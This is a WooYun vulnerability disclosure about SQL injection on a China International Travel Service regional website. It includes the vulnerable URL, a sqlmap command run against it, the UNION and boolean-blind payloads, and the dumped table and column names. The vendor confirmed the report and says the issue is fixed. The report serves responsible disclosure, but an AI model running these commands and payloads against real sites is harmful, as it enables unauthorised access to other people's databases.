当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134363

漏洞标题:中国国旅某分站存在sql注入漏洞,暴露大量信息

相关厂商:中国国旅

漏洞作者: 路人甲

提交时间:2015-08-16 23:23

修复时间:2015-10-05 11:46

公开时间:2015-10-05 11:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-16: 细节已通知厂商并且等待厂商处理中
2015-08-21: 厂商已经确认,细节仅向厂商公开
2015-08-31: 细节向核心白帽子及相关领域专家公开
2015-09-10: 细节向普通白帽子公开
2015-09-20: 细节向实习白帽子公开
2015-10-05: 细节向公众公开

简要描述:

详细说明:

中国国旅某分站存在sql注入漏洞,暴露大量信息
漏洞页面:http://www.glszcits.com/showArticle.asp?id=556
中转注入

1.png


看到这经典页面

root@kali:~# sqlmap -u "http://www.glszcits.com/showArticle.asp" --cookie "id=556" --level 2 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:28:43
[19:28:43] [INFO] resuming back-end DBMS 'microsoft access'
[19:28:43] [INFO] testing connection to the target URL
[19:28:44] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=556 AND 8272=8272
Type: UNION query
Title: Generic UNION query (NULL) - 36 columns
Payload: id=-7286 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(98)&CHR(116)&CHR(117)&CHR(113)&CHR(104)&CHR(74)&CHR(105)&CHR(104)&CHR(107)&CHR(97)&CHR(71)&CHR(67)&CHR(112)&CHR(90)&CHR(113)&CHR(109)&CHR(110)&CHR(109)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:28:44] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:28:44] [INFO] fetching tables for databa

Database: Microsoft_Access_masterdb
[5 tables]
+--------------+
| download |
| jobs |
| news |
| product_type |
| test |


atabase: Microsoft_Access_masterdb
Table: test
[5 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| author | non-numeric |
| data | non-numeric |
| id | numeric |
| name | non-numeric |
| tid | numeric |
+--------+-------------+


不扫了,快去过滤吧,感觉好多页面呢

漏洞证明:

如上,还没扫完,就到这了

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-21 11:44

厂商回复:

非常感谢您的报告,问题已处理,十分感谢您对中国国旅的支持。

最新状态:

暂无